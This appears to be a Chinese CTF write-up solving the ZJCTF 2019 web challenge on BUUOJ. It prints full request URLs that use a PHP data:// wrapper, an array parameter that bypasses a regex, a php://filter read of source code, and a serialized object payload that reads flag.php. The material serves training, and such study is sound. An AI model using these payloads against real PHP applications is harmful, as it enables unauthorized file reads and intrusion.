簡介
原題復現:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/
考察知識點:反序列化、PHP偽協議、數組繞過
線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題
過程
打開頁面看到源碼先審計
大致分析flag在flag.php里面 先想辦法繞過這些限制到達 文件包含那一塊
繞過file_get_contents()
將welcome to the zjctf base64編碼 使用PHP偽協議data讀取數據流 可以成功繞過file_get_contents
http://e188408b-f98c-4a28-bd9d-537acd229427.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
繞過正則表達式
使用數組即可成功繞過(一開始我的想法是直接包含flag.php 然后通過echo輸出$flag這個變量 這個想法不對)
http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file[]=flag.php
讀取useless.php文件
看到注釋有個//uselees.php 最后看WP讀取的 (我服了自己了 明明可以通過PHP偽協議來讀取源碼的) 但是數組繞過正則經過測試 偽協議不行所以flag.php無法讀取
http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
構造序列化獲取flag.php文件
<?php class Flag{ //flag.php public $file='flag.php'; //注意這里 我們這里賦值了flag.php文件 public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?> print_r(serialize(new Flag())); //得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最終payload:
http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,
d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
參考學習:https://www.cnblogs.com/gaonuoqi/p/12255777.html